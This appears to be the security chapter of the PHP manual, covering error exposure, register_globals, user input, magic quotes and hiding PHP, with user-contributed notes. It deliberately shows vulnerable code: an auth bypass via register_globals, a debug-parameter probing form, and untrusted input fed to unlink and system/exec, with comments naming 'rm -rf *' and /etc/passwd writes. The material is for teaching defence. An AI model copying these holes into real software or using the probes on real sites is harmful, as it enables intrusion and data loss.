The PHP errors which are normally returned can be quite helpful to a developer who is trying to debug a script, indicating such things as the function or file that failed, the PHP file it failed in, and the line number which the failure occurred in. This is all information that can be exploited. It is not uncommon for a php developer to use show_source(), highlight_string(), or highlight_file() as a debugging measure, but in a live site, this can expose hidden variables, unchecked syntax, and other dangerous information. Especially dangerous is running code from known sources with built-in debugging handlers, or using common debugging techniques. If the attacker can determine what general technique you are using, they may try to brute-force a page, by sending various common debugging strings:

Example #2 Exploiting common debugging variables

<form method="post" action="attacktarget?errors=Y&amp;showerrors=1&amp;debug=1">
<input type="hidden" name="errors" value="Y" />
<input type="hidden" name="showerrors" value="1" />
<input type="hidden" name="debug" value="1" />
</form>

Regardless of the method of error handling, the ability to probe a system for errors leads to providing an attacker with more information.

For example, the very style of a generic PHP error indicates a system is running PHP. If the attacker was looking at an .html page, and wanted to probe for the back-end (to look for known weaknesses in the system), by feeding it the wrong data they may be able to determine that a system was built with PHP.

A function error can indicate whether a system may be running a specific database engine, or give clues as to how a web page or programmed or designed. This allows for deeper investigation into open database ports, or to look for specific bugs or weaknesses in a web page. By feeding different pieces of bad data, for example, an attacker can determine the order of authentication in a script, (from the line number errors) as well as probe for exploits that may be exploited in different locations in the script.

A filesystem or general PHP error can indicate what permissions the web server has, as well as the structure and organization of files on the web server. Developer written error code can aggravate this problem, leading to easy exploitation of formerly "hidden" information.

There are three major solutions to this issue. The first is to scrutinize all functions, and attempt to compensate for the bulk of the errors. The second is to disable error reporting entirely on the running code. The third is to use PHP's custom error handling functions to create your own error handler. Depending on your security policy, you may find all three to be applicable to your situation.

One way of catching this issue ahead of time is to make use of PHP's own error_reporting(), to help you secure your code and find variable usage that may be dangerous. By testing your code, prior to deployment, with E_ALL, you can quickly find areas where your variables may be open to poisoning or modification in other ways. Once you are ready for deployment, you should either disable error reporting completely by setting error_reporting() to 0, or turn off the error display using the php.ini option display_errors, to insulate your code from probing. If you choose to do the latter, you should also define the path to your log file using the error_log ini directive, and turn log_errors on.

Example #3 Finding dangerous variables with E_ALL

<?php
if ($username) {  // Not initialized or checked before usage
    $good_login = 1;
}
if ($good_login == 1) { // If above test fails, not initialized or checked before usage
    readfile ("/highly/sensitive/data/index.html");
}
?>

User Contributed Notes

earlz- -NO SPAM-- at earlz dot biz DOT tm 04-Feb-2009 11:11
Note for those of you using OpenBSD and PHP.  The default php.ini has display_errors=off . This is contrary to the PHP default of display_errors=on . If your having trouble seeing errors on OpenBSD make sure to edit your php.ini to have display_errors=on. (I had this problem on OpenBSD 4.4)


Using Register Globals

Warning

This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

Perhaps the most controversial change in PHP is when the default value for the PHP directive register_globals went from ON to OFF in PHP » 4.2.0. Reliance on this directive was quite common and many people didn't even know it existed and assumed it's just how PHP works. This page will explain how one can write insecure code with this directive but keep in mind that the directive itself isn't insecure but rather it's the misuse of it.

When on, register_globals will inject your scripts with all sorts of variables, like request variables from HTML forms. This coupled with the fact that PHP doesn't require variable initialization means writing insecure code is that much easier. It was a difficult decision, but the PHP community decided to disable this directive by default. When on, people use variables yet really don't know for sure where they come from and can only assume. Internal variables that are defined in the script itself get mixed up with request data sent by users and disabling register_globals changes this. Let's demonstrate with an example misuse of register_globals:

Example #1 Example misuse with register_globals = on

<?php
// define $authorized = true only if user is authenticated
if (authenticated_user()) {
    $authorized = true;
}

// Because we didn't first initialize $authorized as false, this might be
// defined through register_globals, like from GET auth.php?authorized=1
// So, anyone can be seen as authenticated!
if ($authorized) {
    include "/highly/sensitive/data.php";
}
?>

When register_globals = on, our logic above may be compromised. When off, $authorized can't be set via request so it'll be fine, although it really is generally a good programming practice to initialize variables first. For example, in our example above we might have first done $authorized = false. Doing this first means our above code would work with register_globals on or off as users by default would be unauthorized.

Another example is that of sessions. When register_globals = on, we could also use $username in our example below but again you must realize that $username could also come from other means, such as GET (through the URL).

Example #2 Example use of sessions with register_globals on or off

<?php
// We wouldn't know where $username came from but do know $_SESSION is
// for session data
if (isset($_SESSION['username'])) {

    echo "Hello <b>{$_SESSION['username']}</b>";

} else {

    echo "Hello <b>Guest</b><br />";
    echo "Would you like to login?";

}
?>

It's even possible to take preventative measures to warn when forging is being attempted. If you know ahead of time exactly where a variable should be coming from, you can check to see if the submitted data is coming from an inappropriate kind of submission. While it doesn't guarantee that data has not been forged, it does require an attacker to guess the right kind of forging. If you don't care where the request data comes from, you can use $_REQUEST as it contains a mix of GET, POST and COOKIE data. See also the manual section on using variables from external sources.

Example #3 Detecting simple variable poisoning

<?php
if (isset($_COOKIE['MAGIC_COOKIE'])) {

    // MAGIC_COOKIE comes from a cookie.
    // Be sure to validate the cookie data!

} elseif (isset($_GET['MAGIC_COOKIE']) || isset($_POST['MAGIC_COOKIE'])) {

   mail("admin@example.com", "Possible breakin attempt", $_SERVER['REMOTE_ADDR']);
   echo "Security violation, admin has been alerted.";
   exit;

} else {

   // MAGIC_COOKIE isn't set through this REQUEST

}
?>

Of course, simply turning off register_globals does not mean your code is secure. For every piece of data that is submitted, it should also be checked in other ways. Always validate your user data and initialize your variables! To check for uninitialized variables you may turn up error_reporting() to show E_NOTICE level errors.

For information about emulating register_globals being On or Off, see this FAQ.

Note: Superglobals: availability note

Superglobal arrays such as $_GET, $_POST, and $_SERVER, etc. are available as of PHP 4.1.0. For more information, read the manual section on superglobals

User Contributed Notes

arman_y_92 at yahoo dot com 28-Aug-2014 11:44
To all those fans of this insecure functionality (which I'm glad is now turned off by default) , you can just use extract() to achieve a similar goal more securely (unless you overwrite local variables with $_GET or $_POST data).
elitescripts2000 at yahoo dot com 30-Aug-2013 01:23
<?php

/* Forces all GET and POST globals to register and be magically quoted.
 * This forced register_globals and magic_quotes_gpc both act as if
 * they were turned ON even if turned off in your php.ini file.
 *
 * Reason behind forcing register_globals and magic_quotes is for legacy
 * PHP scripts that need to run with PHP 5.4 and higher.  PHP 5.4+ no longer
 * support register_globals and magic_quotes, which breaks legacy PHP code.
 *
 * This is used as a workaround, while you upgrade your PHP code, yet still
 * allows you to run in a PHP 5.4+ environment.
 *
 * Licenced under the GPLv2. Matt Kukowski Sept. 2013
 */

if (! isset($PXM_REG_GLOB)) {

  $PXM_REG_GLOB = 1;

  if (! ini_get('register_globals')) {
    foreach (array_merge($_GET, $_POST) as $key => $val) {
      global $$key;
      $$key = (get_magic_quotes_gpc()) ? $val : addslashes($val);
    }
  }
  if (! get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $val) $_POST[$key] = addslashes($val);
    foreach ($_GET as $key => $val)  $_GET[$key]  = addslashes($val);
  }
}

?>
lester burlap 23-Mar-2009 06:00
It would make this whole issue a lot less confusing for less-experienced PHP programmers if you just explained:

- $myVariable no longer works by default
- $_GET['myVariable'] works just fine

I'm embarrassed to say it's taken me six months since my ISP upgraded to PHP5 figure this out.  I've completely rewritten scripts to stop using GET variables altogether.

I'm dumb.
claude dot pache at gmail dot com 15-Jan-2009 02:52
Beware that all the solutions given in the comments below for emulating register_global being off are bogus, because they can destroy predefined variables you should not unset. For example, suppose that you have

<?php $_GET['_COOKIE'] == 'foo'; ?>

Then the simplistic solutions of the previous comments let you lose all the cookies registered in the superglobal "$_COOKIE"! (Note that in this situation, even with register_global set to "on", PHP is smart enough to not mess predefined variables such as  $_COOKIE.)

A proper solution for emulating register_global being off is given in the FAQ, as stated in the documentation above.
moore at hs-furtwangen dot de 14-Jul-2008 10:19
I had a look at the post from Dice, in which he suggested the function unregister_globals(). It didn't seem to work - only tested php 4.4.8 and 5.2.1 - so I made some tweaking to get it running. (I had to use $GLOBALS due to the fact that $$name won't work with superglobals).

<?php
//Undo register_globals
function unregister_globals() {
    if (ini_get('register_globals')) {
        $array = array('_REQUEST', '_FILES');
        foreach ($array as $value) {
            if(isset($GLOBALS[$value])){
                foreach ($GLOBALS[$value] as $key => $var) {
                    if (isset($GLOBALS[$key]) && $var === $GLOBALS[$key]) {
                        //echo 'found '.$key.' = '.$var.' in $'.$value."\n";
                        unset($GLOBALS[$key]);
                    }
                }
            }
        }
    }
}
?>

The echo was for debuging, thought it might come in handy.
Dice 16-Apr-2008 06:46
To expand on the nice bit of code Mike Willbanks wrote and Alexander tidied up, I turned the whole thing in a function that removes all the globals added by register_globals so it can be implemented in an included functions.php and doesn't litter the main pages too much.

<?php
//Undo register_globals
function unregister_globals() {
    if (ini_get(register_globals)) {
        $array = array('_REQUEST', '_SESSION', '_SERVER', '_ENV', '_FILES');
        foreach ($array as $value) {
            foreach ($GLOBALS[$value] as $key => $var) {
                if ($var === $GLOBALS[$key]) {
                    unset($GLOBALS[$key]);
                }
            }
        }
    }
}
?>
Ruquay K Calloway 01-Apr-2008 02:59
While we all appreciate the many helpful posts to get rid of register_globals, maybe you're one of those who just loves it.  More likely, your boss says you just have to live with it because he thinks it's a great feature.

No problem, just call (below defined):

<?php register_globals(); ?>

anywhere, as often as you want.  Or update your scripts!

<?php
/**
 * function to emulate the register_globals setting in PHP
 * for all of those diehard fans of possibly harmful PHP settings :-)
 * @author Ruquay K Calloway
 * @param string $order order in which to register the globals, e.g. 'egpcs' for default
 */
function register_globals($order = 'egpcs')
{
    // define a subroutine
    if(!function_exists('register_global_array'))
    {
        function register_global_array(array $superglobal)
        {
            foreach($superglobal as $varname => $value)
            {
                global $$varname;
                $$varname = $value;
            }
        }
    }

    $order = explode("\r\n", trim(chunk_split($order, 1)));
    foreach($order as $k)
    {
        switch(strtolower($k))
        {
            case 'e':    register_global_array($_ENV);        break;
            case 'g':    register_global_array($_GET);        break;
            case 'p':    register_global_array($_POST);        break;
            case 'c':    register_global_array($_COOKIE);    break;
            case 's':    register_global_array($_SERVER);    break;
        }
    }
}
?>


User Submitted Data

The greatest weakness in many PHP programs is not inherent in the language itself, but merely an issue of code not being written with security in mind. For this reason, you should always take the time to consider the implications of a given piece of code, to ascertain the possible damage if an unexpected variable is submitted to it.

Example #1 Dangerous Variable Usage

<?php
// remove a file from the user's home directory... or maybe
// somebody else's?
unlink ($evil_var);

// Write logging of their access... or maybe an /etc/passwd entry?
fwrite ($fp, $evil_var);

// Execute something trivial.. or rm -rf *?
system ($evil_var);
exec ($evil_var);

?>

You should always carefully examine your code to make sure that any variables being submitted from a web browser are being properly checked, and ask yourself the following questions:

  • Will this script only affect the intended files?
  • Can unusual or undesirable data be acted upon?
  • Can this script be used in unintended ways?
  • Can this be used in conjunction with other scripts in a negative manner?
  • Will any transactions be adequately logged?

By adequately asking these questions while writing the script, rather than later, you prevent an unfortunate re-write when you need to increase your security. By starting out with this mindset, you won't guarantee the security of your system, but you can help improve it.

You may also want to consider turning off register_globals, magic_quotes, or other convenience settings which may confuse you as to the validity, source, or value of a given variable. Working with PHP in error_reporting(E_ALL) mode can also help warn you about variables being used before they are checked or initialized (so you can prevent unusual data from being operated upon).

User Contributed Notes

Livingstone@stonyhills[dot]com 02-Feb-2008 01:51
making sure your form is submitted from your page! Could also be adapted to url, by additing &token to the query string and checking this against session data(or what ever array you like) with $_GET, not that this string is randomly generated and stored. If you like you could build your own array to store the generated string if you dont want to use $_SESSION, say you could make yours like $tokens = array(), and in your easysecure class you store all the stuff in that array!

<?php

class easysecure {

    var $curr_user;
    var $curr_permission;
    var $curr_task;
    var $validpermission;
    var $error;

    function &setVar( $name, $value=null ) {
        if (!is_null( $value )) {
            $this->$name = $value;
        }
        return $this->$name;
    }

    function maketoken($formname, $id){

        $token = md5(uniqid(rand(), true));

        $_SESSION[$formname.$id] = $token;

        return $token;
    }

    function checktoken($token, $formname, $id){
        //print_r($_SESSION);
        //echo ($token);
        //if we dont have a valid token, return invalid;
        if(!$token){
            $this->setVar('validpermission', 0);
            $this->setVar('error', 'no token found, security bridgedetected');
            return false;
        }

        //if we have a valid token check that is is valid
        $key = $_SESSION[$formname.$id];
        if($key !== $token ){
            $this->setVar('validpermission', 0);
            $this->setVar('error', 'invalid token');
            return false;
        }

        if($this->validpermission !==1){
              echo 'invalid Permissions to run this script';
              return false;
        }else{
            return true;
        }
    }

}

?>

<?php $userid = *** //make it what ever id you like ?>
<form name="newform" action="index.php" method="post">
<input type="text" name="potentialeveilfield" value="" size 30 />
<input type="hidden" name="token" value="<?php echo maketoken(newform, $userid); //$userid here could be user profile id ?>" />
<input type="submit" />
</form>

Now when processing the form... check the value of your token

<?php

//well you know the form name
if(!checktoken($_POST['token'], 'newform', $userid))
{ //failed
exit(); //or what ever termination and notification method best suits you.
//you could also design the class your way to get more accurate fail (error messages from the var)
}

//you can now continue with input data clean up (validation)

?>
Uli Kusterer 13-Sep-2005 12:50
One thing I would repeat in the docs here is what information actually comes from the user. Many people think a Cookie, since it's written by PHP, was safe. But the fact is that it's stored on the user's computer, transferred by the user's browser, and thus very easy to manipulate.

So, it'd be handy to mention here again that:

CGI parameters in the URL, HTTP POST data and cookie variables are considered "user data" and thus need to be validated. Session data and SQL database contents only need to be validated if they came from untrustworthy sources (like the ones just mentioned).

Not new, but I would have expected this info under this headline, at least as a short recap plus linlk to the actual docs.


Magic Quotes

Table of Contents

  • What are Magic Quotes
  • Why did we use Magic Quotes
  • Why not to use Magic Quotes
  • Disabling Magic Quotes
Warning

This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

Magic Quotes is a process that automagically escapes incoming data to the PHP script. It's preferred to code with magic quotes off and to instead escape the data at runtime, as needed.

User Contributed Notes

admin at agisb dot com 08-Jan-2013 05:59
Please be adviced, that if you downgrade from PHP 5.4 (in my case cpanel & whm) your magic_quotes are turned on, as the php.ini after downgrade had magic_quotes_gpc = Off, magic_quotes_runtime = Off and magic_quotes_sybase = Off all commented out as it is in PHP 5.4.

If you have Scripts that don't check if it is off or on you will have double escaped database entries.
cHao 14-Mar-2011 05:38
The very reason magic quotes are deprecated is that a one-size-fits-all approach to escaping/quoting is wrongheaded and downright dangerous.  Different types of content have different special chars and different ways of escaping them, and what works in one tends to have side effects elsewhere.  Any sample code, here or anywhere else, that pretends to work like magic quotes --or does a similar conversion for HTML, SQL, or anything else for that matter -- is similarly wrongheaded and similarly dangerous.

Magic quotes are not for security.  They never have been.  It's a convenience thing -- they exist so a PHP noob can fumble along and eventually write some mysql queries that kinda work, without having to learn about escaping/quoting data properly.  They prevent a few accidental syntax errors, as is their job.  But they won't stop a malicious and semi-knowledgeable attacker from trashing the PHP noob's database.  And that poor noob may never even know how or why his database is now gone, because magic quotes (or his spiffy "i'm gonna escape everything" function) gave him a false sense of security.  He never had to learn how to really handle untrusted input.

Data should be escaped where you need it escaped, and for the domain in which it will be used.  (mysql_real_escape_string -- NOT addslashes! -- for MySQL (and that's only unless you have a clue and use prepared statements), htmlentities or htmlspecialchars for HTML, etc.)  Anything else is doomed to failure.


What are Magic Quotes

Warning

This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

When on, all ' (single-quote), " (double quote), \ (backslash) and NULL characters are escaped with a backslash automatically. This is identical to what addslashes() does.

There are three magic quote directives:

  • magic_quotes_gpc Affects HTTP Request data (GET, POST, and COOKIE). Cannot be set at runtime, and defaults to on in PHP. See also get_magic_quotes_gpc().
  • magic_quotes_runtime If enabled, most functions that return data from an external source, including databases and text files, will have quotes escaped with a backslash. Can be set at runtime, and defaults to off in PHP. See also set_magic_quotes_runtime() and get_magic_quotes_runtime().
  • magic_quotes_sybase If enabled, a single-quote is escaped with a single-quote instead of a backslash. If on, it completely overrides magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as ''. Double quotes, backslashes and NULL's will remain untouched and unescaped. See also ini_get() for retrieving its value.

User Contributed Notes

There are no user contributed notes for this page.


Why did we use Magic Quotes

Warning

This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

  • There is no reason to use magic quotes because they are no longer a supported part of PHP. However, they did exist and did help a few beginners blissfully and unknowingly write better (more secure) code. But, when dealing with code that relies upon this behavior it's better to update the code instead of turning magic quotes on. So why did this feature exist? Simple, to help prevent SQL Injection. Today developers are better aware of security and end up using database specific escaping mechanisms and/or prepared statements instead of relying upon features like magical quotes.

User Contributed Notes

There are no user contributed notes for this page.


Why not to use Magic Quotes

Warning

This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

  • Portability Assuming it to be on, or off, affects portability. Use get_magic_quotes_gpc() to check for this, and code accordingly.
  • Performance Because not every piece of escaped data is inserted into a database, there is a performance loss for escaping all this data. Simply calling on the escaping functions (like addslashes()) at runtime is more efficient. Although php.ini-development enables these directives by default, php.ini-production disables it. This recommendation is mainly due to performance reasons.
  • Inconvenience Because not all data needs escaping, it's often annoying to see escaped data where it shouldn't be. For example, emailing from a form, and seeing a bunch of \' within the email. To fix, this may require excessive use of stripslashes().

User Contributed Notes

Albin Mrtensson 09-Sep-2010 03:46
This is what I use to handle magic quotes

<?php

if (get_magic_quotes_gpc()) {
    function strip_array($var) {
        return is_array($var)? array_map("strip_array", $var):stripslashes($var);
    }

    $_POST = strip_array($_POST);
    $_SESSION = strip_array($_SESSION);
    $_GET = strip_array($_GET);
}

?>
anze 14-Oct-2008 12:23
Another reason against it: security. You could be lulled in a feeling of false security if you have magic_quotes=On on a test server and Off on production server.

And another: readability of the code. If you want to be portable you need to resort to some weird solution, outlines on these pages (if (get_magic_quotes())...).

Let's hope magic_quotes soon goes to history together with safe_mode and similar "kind-of-security" (but in reality just a nuisance) inventions.
sir dot steve dot h+php at gmail dot com 07-Dec-2007 05:45
I find it useful to define a simple utility function for magic quotes so the application functions as expected regardless of whether magic_quotes_gpc is on:

function strip_magic_slashes($str)
{
    return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}

Which can be annoying to add the first time you reference every $_GET /$_POST/$_COOKIE variable, but it prevents you from demanding your users to change their configurations.
rjh at netcraft dot com 13-Jun-2007 11:50
Additionally, addslashes() is not a cure-all against SQL injection attacks. You should use your database's dedicated escape function (such as mysql_escape_string) or better yet, use parameterised queries through mysqli->prepare().
11-Feb-2006 10:47
It is also important to disable Magic Quotes while in development enivronment. For the reasons mentioned above, not everybody is using Magic Quotes.

An application that works fine with Magic Quotes enabled may have security problems (ie can be subject to SQL attacks) when distributed.


Disabling Magic Quotes

The magic_quotes_gpc directive may only be disabled at the system level, and not at runtime. In otherwords, use of ini_set() is not an option.

Example #1 Disabling magic quotes server side

An example that sets the value of these directives to Off in php.ini. For additional details, read the manual section titled How to change configuration settings.

; Magic quotes
;

; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = Off

; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
magic_quotes_runtime = Off

; Use Sybase-style magic quotes (escape ' with '' instead of \').
magic_quotes_sybase = Off

If access to the server configuration is unavailable, use of .htaccess is also an option. For example:

php_flag magic_quotes_gpc Off

In the interest of writing portable code (code that works in any environment), like if setting at the server level is not possible, here's an example to disable magic_quotes_gpc at runtime. This method is inefficient so it's preferred to instead set the appropriate directives elsewhere.

Example #2 Disabling magic quotes at runtime

<?php
if (get_magic_quotes_gpc()) {
    $process = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST);
    while (list($key, $val) = each($process)) {
        foreach ($val as $k => $v) {
            unset($process[$key][$k]);
            if (is_array($v)) {
                $process[$key][stripslashes($k)] = $v;
                $process[] = &$process[$key][stripslashes($k)];
            } else {
                $process[$key][stripslashes($k)] = stripslashes($v);
            }
        }
    }
    unset($process);
}
?>

User Contributed Notes

Dan dot gill at hotmail dot com 29-Jan-2014 04:08
These instructions are great.  And if you have a site with an integrated shopping cart, then you will need to copy PHP.ini from the root of your site to the root folder of your shopping cart - otherwise you will still get errors on your cart pages.
mike at mawdesign dot com 17-Jan-2014 08:44
Here's a couple tips when using scripts on different (often shared) hosts, where ini_set doesn't work and php directives in .htaccess causes a 500 Internal Server Error.

Firstly, copy the server's php.ini file to your domain's web-root folder. To find the correct paths, use phpinfo() and look for "Configuration File (php.ini) Path" and "DOCUMENT_ROOT"

It's unlikely you'll have access to the php.ini via FTP, so instead run a script with a simple copy command (obviously inserting your paths):

exec("cp /usr/local/php/etc/php.ini /home/LinuxPackage/public_html/php.ini);

Edit the now-accessible php.ini file, and add settings like 'magic_quotes_gpc = off' at the bottom (regardless of whether they've been set earlier in the file). I also set:

[PHP]
max_execution_time = 60
max_input_time = 90
memory_limit = 64M
post_max_size = 32M
upload_max_filesize = 31M
magic_quotes_gpc = Off

Finally add the below line to your web-root htaccess file, to make the local php.ini the web-root default (so you don't need a copy in every script sub-folder):

SetEnv PHPRC /home/LinuxPackage/public_html/php.ini

Hope that helps a few people save some time!

Mike.

P.S. Using the new php_ini_loaded_file() function the whole lot could be done in three lines:

exec("cp " . php_ini_loaded_file() . " " . $_SERVER['DOCUMENT_ROOT'] . "/php.ini");
fwrite(fopen("{$_SERVER['DOCUMENT_ROOT']}/php.ini", 'a'), PHP_EOL . '[PHP]' . PHP_EOL . "magic_quotes_gpc = Off" . PHP_EOL);
fwrite(fopen("{$_SERVER['DOCUMENT_ROOT']}/.htaccess", 'a'), PHP_EOL . "SetEnv PHPRC {$_SERVER['DOCUMENT_ROOT']}/php.ini" . PHP_EOL);
H Patel 12-Jan-2014 08:07
i do not check for get_magic_quotes_gpc is on of off as we should remove all slashes. another thing is to remove slashes using strip slash will only remove "\" to "" and "\\" to "\"

To over come this problem i use str_replace(array( '\\'), '', $v)

Update Example 2
<?php

    $process = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST);
    while (list($key, $val) = each($process)) {
        foreach ($val as $k => $v) {
            unset($process[$key][$k]);
            if (is_array($v)) {
                $process[$key][str_replace(array('\\'), '', $k)] = $v;
                $process[] = &$process[$key][str_replace(array('\\'), '', $k)];
            } else {
                $process[$key][str_replace(array('\\'), '', $k)] = str_replace(array('\\'), '', $v);
            }
        }
    }
    unset($process);

?>
metala at metala dot org 22-Jun-2009 12:38
I have recently found out that magic quotes affects not only the values of the GPC arrays, but also the keys.

For now, my way to solve with the problem is:

<?php
if (get_magic_quotes_gpc()) {
    function magicQuotes_awStripslashes(&$value, $key) {$value = stripslashes($value);}
    $gpc = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST);
    array_walk_recursive($gpc, 'magicQuotes_awStripslashes');
}
?>

Unfortunately it doesn't fix the keys... and cannot determinate if the slashes are already stripped.
booboogotu at gmail dot com 18-Jun-2009 12:46
A php5 way:

<?php
if (get_magic_quotes_gpc()) {
    function stripslashes_gpc(&$value)
    {
        $value = stripslashes($value);
    }
    array_walk_recursive($_GET, 'stripslashes_gpc');
    array_walk_recursive($_POST, 'stripslashes_gpc');
    array_walk_recursive($_COOKIE, 'stripslashes_gpc');
    array_walk_recursive($_REQUEST, 'stripslashes_gpc');
}
?>
stuart at horuskol dot co dot uk 25-Apr-2008 10:26
I have discovered that my host doesn't like either of the following directives in the .htaccess file:

php_flag magic_quotes_gpc Off
php_value magic_quotes_gpc Off

However, there is another way to disable this setting even if you don't have access to the server configuration - you can put a php.ini file in the directory where your scripts are with the directive:

magic_quotes_gpc = Off

However, these does not propogate unlike  .htaccess rules, so if you launch from a sub-directory, you need the php.ini file in each directory you have as script entry points.
17-Dec-2006 09:20
PHP's magic quotes function has the strange behavior of not adding slashes to top level keys in GPC key/value pairs but adding the slashes in deeper level keys. To demonstrate, a URI of:

example.php?a'b[c'd]=e'f
produces:
array("a'b" => array("c\'d" => "e\'f"))

The current example for removing magic quotes does not do anything to keys, so after running stripslashes_deep, you would end up with:
array("a'b" => array("c\'d" => "e'f"))

Which, needless to say, is wrong. As if you had magic quotes off, it would have been:
array("a'b" => array("c'd" => "e'f"))

I have written a snippet of code compatible with PHP 4.0.0 and above that handles this correctly:

if (get_magic_quotes_gpc()) {
    function undoMagicQuotes($array, $topLevel=true) {
        $newArray = array();
        foreach($array as $key => $value) {
            if (!$topLevel) {
                $key = stripslashes($key);
            }
            if (is_array($value)) {
                $newArray[$key] = undoMagicQuotes($value, false);
            }
            else {
                $newArray[$key] = stripslashes($value);
            }
        }
        return $newArray;
    }
    $_GET = undoMagicQuotes($_GET);
    $_POST = undoMagicQuotes($_POST);
    $_COOKIE = undoMagicQuotes($_COOKIE);
    $_REQUEST = undoMagicQuotes($_REQUEST);
}
rdk 08-Sep-2006 08:44
The function parse_str() (http://us3.php.net/manual/en/function.parse-str.php) is also affected by magic_quotes_gpc, so if that function is called anywhere, stripslashes_deep won't be sufficient by itself.
dedlfix 20-Aug-2006 02:18
The function stripslashes_deep() ignores slashes in the keys

For example a query string like this: ?foo'bar=baz'bal

Output of var_dump($_GET) is:

array(1) {
  ["foo\'bar"]=>
  string(8) "baz\'bal"
}

after stripslashes_deep():

array(1) {
  ["foo\'bar"]=>
  string(7) "baz'bal"
}

If you want the keys to be stripslashed too, you have to unset() the addslahed key and to add a stripslashed version. But keep in mind that this will change the order of the array.


Hiding PHP

In general, security by obscurity is one of the weakest forms of security. But in some cases, every little bit of extra security is desirable.

A few simple techniques can help to hide PHP, possibly slowing down an attacker who is attempting to discover weaknesses in your system. By setting expose_php to off in your php.ini file, you reduce the amount of information available to them.

Another tactic is to configure web servers such as apache to parse different filetypes through PHP, either with an .htaccess directive, or in the apache configuration file itself. You can then use misleading file extensions:

Example #1 Hiding PHP as another language

# Make PHP code look like other code types
AddType application/x-httpd-php .asp .py .pl
Or obscure it completely:

Example #2 Using unknown types for PHP extensions

# Make PHP code look like unknown types
AddType application/x-httpd-php .bop .foo .133t
Or hide it as HTML code, which has a slight performance hit because all HTML will be parsed through the PHP engine:

Example #3 Using HTML types for PHP extensions

# Make all PHP code look like HTML
AddType application/x-httpd-php .htm .html
For this to work effectively, you must rename your PHP files with the above extensions. While it is a form of security through obscurity, it's a minor preventative measure with few drawbacks.

User Contributed Notes

anon at example dot com 24-Dec-2013 07:48
The session name defaults to PHPSESSID.  This is used as the name of the session cookie that is sent to the user's web browser / client. (Example: PHPSESSID=kqjqper294faui343o98ts8k77).

To hide this, call session_name() with the $name parameter set to a generic name, before calling session_start().  Example:

session_name("id");
session_start();

Cheers.
Ryan 31-Oct-2011 03:22
Another way to hide php is by removing the extension completely, like so:

Options +FollowSymlinks
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.+)$ /$1.php [L,QSA]

Hope this helps!
CD001 21-Jul-2010 06:03
It's a good idea to "hide" PHP anyway so you can write a RESTful web application.

Using Apache Mod Rewrite:

RewriteEngine On
RewriteRule ^control/([^/]+)/(.*)$ sitecontroller.php?control=$1&query=$2

You then use a function like the following as a way to retrieve data (in a zero indexed fashion) from the $_GET superglobal.

<?php
function myGET() {
  $aGet = array();

  if(isset($_GET['query'])) {
    $aGet = explode('/', $_GET['query']);
  }

  return $aGet;
}
?>

This is only a really basic example of course - you can do a lot with Mod Rewrite and a custom 'GET' function.
altan at javam dot org 18-Nov-2009 06:42
You can use this trick for non-direct used PHP files, eg. setting, class, ajax-related ones.

For abcde.php:

<?php
if ('abcde.php' == basename($_SERVER['SCRIPT_FILENAME'])) die ('What?');
?>
sandaimespaceman at gmail dot com 27-Oct-2008 01:51
Set INI directive "expose_php" to "off" will also help.
You can spoof your PHP to ASP.NET by using:
<?php
error_reporting(0);
header("X-Powered-By: ASP.NET");
?>
Pyornide 11-Oct-2008 02:57
The idea of hiding the X-Powered-By in PHP is a flawed attempt at establishing security. As the manual indicates, obscurity is not security. If I were exploiting a site, I wouldn't check what scripting language the site runs on, because all that would matter to me is exploiting it. Hiding the fact that you use [x] language isn't going to prevent me from bypassing poor security.
Raz 24-Sep-2007 12:07
May some servers not allow you to put this line (i.e this not work)

AddType application/x-httpd-php .asp .py .pl
or
DefaultType application/x-httpd-php

so, the alternative method that really a good one is:

1- In your .htaccess file write:

RewriteEngine  on
RewriteBase  /dire/ or just /
RewriteRule  securename   yourfile\.php  [T=application/x-httpd-php]

example: all url like
www.example.com/securename  parsed as
www.example.com/yourfile.php

2- but here the $_GET not work, but $_POST work, so for dynamic pages like
www.example.com/yourfile.php?page=1 you use
www.example.com/securename?page=1

now: instead of using $_GET use
<?php
$uri         = $_SERVER['REQUEST_URI'];
$page        = strstr($uri, '=');
$page        = substr($page, 1);
$valid_pages = array('1', '2','...');
$page        = in_array($page, $valid_pages) ? $page : '1';
//....
?>

and for bad URL you can add this code to .htaccess file
of coarse below the first code in .htaccess
#--
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^.*$ http://www.example.com/securename [L]
rustamabd at google mail 26-Jan-2007 09:05
So far I haven't seen a working rewriter of /foo/bar into /foo/bar.php, so I created my own. It does work in top-level directory AND subdirectories and it doesn't need hardcoding the RewriteBase.

.htaccess:

RewriteEngine on

# Rewrite /foo/bar to /foo/bar.php
RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if original request is /foo/bar.php
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
RewriteRule .* - [L,R=404]

# NOTE! FOR APACHE ON WINDOWS: Add [NC] to RewriteCond like this:
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$" [NC]
simon at carbontwelevedesign dot co dot uk 10-Aug-2006 02:31
I use the following in the .htaccess document

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

then the following simple code

<?php

$permalinks = explode("/",$_SERVER['REQUEST_URI']);

$varone = $permalinks[1];
$vartwo = $permalinks[2];

...

?>
marpetr at NOSPAM dot gmail dot com 11-Apr-2006 02:18
